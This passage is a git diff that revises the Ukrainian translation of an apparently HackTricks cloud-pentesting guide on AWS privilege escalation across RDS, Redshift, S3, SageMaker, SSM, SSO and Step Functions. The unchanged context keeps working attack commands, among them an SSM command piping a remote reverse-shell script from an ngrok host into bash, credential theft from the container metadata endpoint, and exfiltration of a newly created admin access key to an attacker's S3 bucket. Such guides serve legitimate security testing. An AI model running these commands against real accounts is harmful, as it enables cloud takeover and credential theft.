RDS**. Це може дозволити зловмиснику **доступ до чутливих даних** або змінити дані в межах екземпляра. +Зловмисник з правами `rds:AddRoleToDBInstance` та `iam:PassRole` може **додати вказану роль до існуючого RDS екземпляра**. Це може дозволити зловмиснику **доступ до чутливих даних** або змінити дані в межах екземпляра. > [!WARNING] -> Екземпляр БД повинен бути поза кластером для цього +> DB екземпляр повинен бути поза кластером для цього ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 0e4dfb6f5..1cd08aaa9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -19,7 +19,7 @@ aws redshift get-cluster-credentials --db-user postgres --cluster-identifier red # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` -**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. +**Потенційний вплив:** Знайти чутливу інформацію в базах даних. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` @@ -31,20 +31,20 @@ aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-clus # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` -**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. +**Потенційний вплив:** Знайти чутливу інформацію в базах даних. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Можливо **змінити майстер-пароль** внутрішнього користувача postgres (redshit) з aws cli (я думаю, це ті дозволи, які вам потрібні, але я ще не тестував їх): +Можливо **змінити майстер-пароль** внутрішнього користувача postgres (redshift) з aws cli (я думаю, що це ті дозволи, які вам потрібні, але я ще не тестував їх): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` -**Потенційний вплив:** Знайти чутливу інформацію всередині баз даних. +**Потенційний вплив:** Знайти чутливу інформацію в базах даних. ## Доступ до зовнішніх сервісів > [!WARNING] -> Щоб отримати доступ до всіх наступних ресурсів, вам потрібно **вказати роль для використання**. Кластер Redshift **може мати призначений список ролей AWS**, які ви можете використовувати **якщо знаєте ARN**, або ви можете просто встановити "**за замовчуванням**", щоб використовувати призначену за замовчуванням. +> Щоб отримати доступ до всіх наступних ресурсів, вам потрібно **вказати роль для використання**. Кластер Redshift **може мати призначений список ролей AWS**, які ви можете використовувати **якщо знаєте ARN**, або ви можете просто встановити "**default**", щоб використовувати призначену за замовчуванням. > Більше того, як [**пояснено тут**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift також дозволяє конкатенувати ролі (якщо перша може прийняти другу), щоб отримати подальший доступ, просто **розділяючи** їх комою: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 94ae40f13..dbe0e94e4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Зловмисник з такими дозволами на цікаві бакети може бути в змозі захопити ресурси та підвищити привілеї. +Зловмисник з такими дозволами на цікавих бакетах може бути в змозі захопити ресурси та підвищити привілеї. -Наприклад, зловмисник з такими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ може бути наданий за допомогою наступної політики: +Наприклад, зловмисник з цими **дозволами на бакет cloudformation** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ може бути наданий за допомогою наступної політики: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ ] } ``` -І викрадення можливе, оскільки існує **невеликий часовий проміжок від моменту завантаження шаблону** до кошика до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з кошика**, і **викраде** **вміст** цього **кошика**. +І викрадення можливе через **невеликий проміжок часу з моменту завантаження шаблону** до бакету до моменту, коли **шаблон розгортається**. Зловмисник може просто створити **lambda function** у своєму обліковому записі, яка **спрацює, коли надійде сповіщення з бакету**, і **викраде** **вміст** цього **бакету**. ![](<../../../images/image (174).png>) @@ -48,11 +48,11 @@ Зловмисник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\ Ось кілька прикладів: -- Якщо екземпляр EC2 зберігає **дані користувача в S3 кошику**, зловмисник може змінити їх, щоб **виконати довільний код всередині екземпляра EC2**. +- Якщо EC2 інстанс зберігає **дані користувача в S3 бакеті**, зловмисник може змінити їх, щоб **виконати довільний код всередині EC2 інстансу**. ### `s3:PutBucketPolicy` -Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів над кошиком(ами), що дозволить йому читати, писати, змінювати, видаляти та відкривати кошики. +Зловмисник, який повинен бути **з того ж облікового запису**, інакше спрацює помилка `The specified method is not allowed`, з цим дозволом зможе надати собі більше дозволів над бакетом(ами), що дозволить йому читати, писати, змінювати, видаляти та відкривати бакети. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index fc064ec4f..930a6fc27 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,7 +6,7 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Почніть створювати нотатник з IAM роллю, щоб отримати доступ до нього: +Почніть створювати нотатник з IAM роллю, яка до нього прикріплена: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ @@ -17,23 +17,23 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \ aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Перейдіть за URL-адресою в браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”. +Перейдіть за URL у браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”. Тепер можливо отримати доступ до облікових даних метаданих IAM Role. -**Potential Impact:** Privesc до ролі служби sagemaker, що вказана. +**Потенційний вплив:** Privesc до ролі сервісу sagemaker. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Якщо на ньому **вже запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**. +Якщо на ньому вже **запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Потенційний вплив:** Privesc до ролі служби sagemaker, що прикріплена. +**Потенційний вплив:** Привілейоване підвищення до ролі служби sagemaker. ### `sagemaker:CreateProcessingJob,iam:PassRole` -Зловмисник з цими дозволами може змусити **sagemaker виконати обробку роботи** з прикріпленою роллю sagemaker. Зловмисник може вказати визначення контейнера, який буде запущено в **управляємому AWS ECS обліковому записі**, і **викрасти облікові дані прикріпленої ролі IAM**. +Зловмисник з цими дозволами може змусити **sagemaker виконати обробку** з прикріпленою роллю sagemaker. Зловмисник може вказати визначення контейнера, який буде запущено в **управляємому AWS ECS обліковому записі**, і **викрасти облікові дані прикріпленої ролі IAM**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ @@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **доданою роллю**. Тому зловмисник зможе вкрасти облікові дані ролі. +Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **прикріпленою роллю**. Тому зловмисник зможе вкрасти облікові дані ролі. > [!WARNING] > Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі). @@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Атакуючий з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** на ній з **долученою роллю**.\ +Зловмисник з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** на ній з **долученою роллю**.\ &#xNAN;_I не експлуатував через брак часу, але виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._ ## Посилання diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 81ee7b349..c84de3309 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id # Get value ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -З попередніми дозволами можливо **надати доступ іншим принципалам/акаунтам (навіть зовнішнім)** для доступу до **секрету**. Зверніть увагу, що для **читання секретів, зашифрованих** за допомогою ключа KMS, користувач також повинен мати **доступ до ключа KMS** (більше інформації на [сторінці KMS Enum](../aws-services/aws-kms-enum.md)). +З попередніми дозволами можливо **надати доступ іншим принципалам/акаунтам (навіть зовнішнім)** для доступу до **секрету**. Зверніть увагу, що для **читання секретів, зашифрованих** за допомогою ключа KMS, користувач також повинен мати **доступ до ключа KMS** (більше інформації на [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index b12b8ae62..d82c3c54b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -12,15 +12,15 @@ ### `sns:Publish` -Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. +Зловмисник може надсилати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. ```bash aws sns publish --topic-arn --message ``` -**Потенційний вплив**: Використання вразливостей, Пошкодження даних, ненавмисні дії або виснаження ресурсів. +**Потенційний вплив**: Експлуатація вразливостей, Пошкодження даних, ненавмисні дії або виснаження ресурсів. ### `sns:Subscribe` -Зловмисник може підписатися на тему SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, що покладаються на цю тему. +Зловмисник може підписатися на тему SNS, потенційно отримуючи несанкціонований доступ до повідомлень або порушуючи нормальне функціонування додатків, які покладаються на цю тему. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 2d3a69bb6..07e54844c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -12,20 +12,20 @@ ### `sqs:AddPermission` -Зловмисник може використовувати цей дозвіл, щоб надати несанкціонованим користувачам або службам доступ до черги SQS, створюючи нові політики або змінюючи існуючі політики. Це може призвести до несанкціонованого доступу до повідомлень у черзі або маніпуляцій з чергою з боку несанкціонованих осіб. +Зловмисник може використовувати цей дозвіл, щоб надати несанкціонованим користувачам або сервісам доступ до черги SQS, створюючи нові політики або змінюючи існуючі політики. Це може призвести до несанкціонованого доступу до повідомлень у черзі або маніпуляцій з чергою з боку несанкціонованих осіб. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` -**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою з боку несанкціонованих користувачів або сервісів. +**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою несанкціонованими користувачами або сервісами. ### `sqs:SendMessage` , `sqs:SendMessageBatch` -Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що потенційно може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. +Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, виклику непередбачених дій або виснаження ресурсів. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Потенційний вплив**: Використання вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. +**Потенційний вплив**: Експлуатація вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -35,6 +35,6 @@ aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**Потенційний вплив**: Викрадення чутливої інформації, Втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень. +**Потенційний вплив**: Вкрасти чутливу інформацію, втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index d0840389c..dbda3afc9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -Для отримання додаткової інформації про SSM дивіться: +Для отримання додаткової інформації про SSM перегляньте: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -У випадку, якщо ви використовуєте цю техніку для ескалації привілеїв всередині вже скомпрометованого EC2 екземпляра, ви можете просто захопити rev shell локально за допомогою: +У випадку, якщо ви використовуєте цю техніку для підвищення привілеїв всередині вже скомпрометованого EC2 екземпляра, ви можете просто захопити rev shell локально за допомогою: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM агентами. +**Потенційний вплив:** Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів з працюючими SSM агентами. ### `ssm:StartSession` -Зловмисник з дозволом **`ssm:StartSession`** може **розпочати сесію, подібну до SSH, в екземплярах**, що працюють з Amazon SSM Agent, і **скомпрометувати IAM роль**, що працює всередині нього. +Зловмисник з дозволом **`ssm:StartSession`** може **розпочати сесію, подібну до SSH, в екземплярах**, що працюють з Amazon SSM Agent, і **скомпрометувати IAM роль**, що працює всередині неї. ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,14 +45,14 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Щоб почати сесію, вам потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Щоб розпочати сесію, вам потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM Agents. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM Agents. -#### Privesc до ECS +#### Підвищення привілеїв до ECS Коли **ECS завдання** виконуються з **увімкненим `ExecuteCommand`**, користувачі з достатніми правами можуть використовувати `ecs execute-command`, щоб **виконати команду** всередині контейнера.\ -Згідно з [**документацією**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), це здійснюється шляхом створення безпечного каналу між пристроєм, який ви використовуєте для ініціювання команди “_exec_“, та цільовим контейнером за допомогою SSM Session Manager. (Плагін SSM Session Manager необхідний для цього)\ +Згідно з [**документацією**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), це робиться шляхом створення безпечного каналу між пристроєм, який ви використовуєте для ініціювання команди “_exec_“, і цільовим контейнером з SSM Session Manager. (Плагін SSM Session Manager необхідний для цього)\ Отже, користувачі з `ssm:StartSession` зможуть **отримати оболонку всередині ECS завдань** з увімкненою цією опцією, просто виконавши: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" @@ -63,7 +63,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ### `ssm:ResumeSession` -Зловмисник з дозволом **`ssm:ResumeSession`** може повторно **розпочати сесію, схожу на SSH, на екземплярах**, що виконують Amazon SSM Agent з **відключеним** станом сесії SSM та **компрометувати IAM роль**, що виконується всередині неї. +Зловмисник з дозволом **`ssm:ResumeSession`** може повторно **розпочати сесію, схожу на SSH, в екземплярах**, що виконують Amazon SSM Agent з **відключеним** станом сесії SSM та **скомпрометувати IAM роль**, що виконується всередині неї. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,7 +72,7 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів з працюючими SSM агентами та відключеними сесіями. +**Потенційний вплив:** Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів з працюючими SSM агентами та відключеними сесіями. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) @@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -Зловмисник з цим дозволом може перерахувати всі **команди**, надіслані, і, сподіваючись, знайти **чутливу інформацію** в них. +Зловмисник з цим дозволом може перерахувати всі **команди**, що були надіслані, і, сподіваючись, знайти **чутливу інформацію** в них. ``` aws ssm list-commands ``` @@ -95,7 +95,7 @@ aws ssm list-commands ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Зловмисник з цими дозволами може перерахувати всі **команди**, що були надіслані, та **прочитати вихідні дані**, сподіваючись знайти **чутливу інформацію** в них. +Зловмисник з цими дозволами може перерахувати всі **команди**, надіслані та **прочитати вихідні дані**, сподіваючись знайти **чутливу інформацію** в них. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 538666b55..d8e184008 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -17,7 +17,7 @@ ### ~~Скидання пароля~~ -Легкий спосіб підвищити привілеї в таких випадках, як цей, полягає в тому, щоб мати дозвіл, який дозволяє скинути паролі користувачів. На жаль, можливо лише надіслати електронний лист користувачу для скидання його пароля, тому вам потрібно буде отримати доступ до електронної пошти користувача. +Легкий спосіб підвищити привілеї в таких випадках, як цей, полягає в тому, щоб мати дозвіл, який дозволяє скинути паролі користувачів. На жаль, можливо лише надіслати електронний лист користувачу для скидання його пароля, тому вам знадобиться доступ до електронної пошти користувача. ### `identitystore:CreateGroupMembership` @@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id --group- ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Зловмисник з цим дозволом може надати додаткові дозволи до Набору Дозволів, який надано користувачу під його контролем. +Зловмисник з цим дозволом може надати додаткові дозволи до набору дозволів, який надано користувачу під його контролем. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем. > [!WARNING] -> Щоб зловживати цими дозволами в цьому випадку, вам потрібно знати **назву політики, що керується клієнтом, яка є в усіх облікових записах**, які будуть під впливом. +> Щоб зловживати цими дозволами в цьому випадку, вам потрібно знати **ім'я політики, що керується клієнтом, яка є в усіх облікових записах**, які будуть під впливом. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -87,13 +87,13 @@ aws sso get-role-credentials --role-name --account-id --access-t ### `sso:DetachManagedPolicyFromPermissionSet` -Зловмисник з цим дозволом може видалити асоціацію між керованою політикою AWS та вказаним набором дозволів. Можливо надати більше привілеїв через **від'єднання керованої політики (політика відмови)**. +Зловмисник з цим дозволом може видалити асоціацію між керованою політикою AWS та вказаним набором дозволів. Можливо надати більше привілеїв через **від'єднання керованої політики (політика заборони)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -Зловмисник з цим дозволом може видалити асоціацію між політикою, що керується замовником, та вказаним набором дозволів. Можливо надати більше привілеїв через **від'єднання керованої політики (політики відмови)**. +Зловмисник з цим дозволом може видалити асоціацію між політикою, керованою замовником, та вказаним набором дозволів. Можливо надати більше привілеїв шляхом **від'єднання керованої політики (політики заборони)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index cd7c9fa3d..427f031a3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,7 +4,7 @@ ## Step Functions -Для отримання додаткової інформації про цю службу AWS, перевірте: +Для отримання додаткової інформації про цей сервіс AWS, перевірте: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -14,22 +14,22 @@ Ці техніки підвищення привілеїв вимагатимуть використання деяких ресурсів AWS step function для виконання бажаних дій підвищення привілеїв. -Щоб перевірити всі можливі дії, ви можете перейти до свого облікового запису AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як у: +Щоб перевірити всі можливі дії, ви можете зайти у свій обліковий запис AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як у:
-Або ви також можете перейти до документації API AWS і перевірити документи кожної дії: +Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Зловмисник з дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати будь-яку роль IAM без створення або оновлення існуючої машини станів, що дозволяє несанкціонований доступ до інших служб AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широкомасштабних несанкціонованих дій, від маніпуляцій з робочими процесами до зміни даних, витоків даних, маніпуляцій з ресурсами та підвищення привілеїв. +Зловмисник з дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати будь-яку IAM роль без створення або оновлення існуючої машини станів, що дозволяє несанкціонований доступ до інших сервісів AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широких несанкціонованих дій, від маніпуляцій з робочими процесами до зміни даних, витоків даних, маніпуляцій з ресурсами та підвищення привілеїв. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Наступні приклади показують, як протестувати стан, який створює ключ доступу для користувача **`admin`**, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, асоційовану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє стану виконувати дію **`iam:CreateAccessKey`**: +Наступні приклади показують, як протестувати стан, який створює ключ доступу для користувача **`admin`**, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє стану виконувати дію **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ aws states test-state --definition --role-arn [--input ] "End": true } ``` -- **Команда** виконана для виконання підвищення привілеїв: +- **Команда**, виконана для виконання підвищення привілеїв: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Зловмисник з **`states:CreateStateMachine`** та **`iam:PassRole`** зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами цієї ролі. На відміну від попередньої техніки підвищення привілеїв (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі, вам також потрібно мати дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступна для стандартних робочих процесів**, **тільки для виражених машин станів**) для того, щоб розпочати виконання над машиною станів. +Зловмисник з **`states:CreateStateMachine`**& **`iam:PassRole`** зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами ролі. На відміну від попередньої техніки підвищення привілеїв (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі, вам також потрібно мати дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступна для стандартних робочих процесів**, **тільки для виражених машин станів**) для того, щоб розпочати виконання над машиною станів. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача **`admin`** та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та поблажливу роль середовища AWS. Ця поблажлива роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє машині станів виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**. +Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача **`admin`** та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та дозволяючу роль середовища AWS. Ця дозволяюча роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє машині станів виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 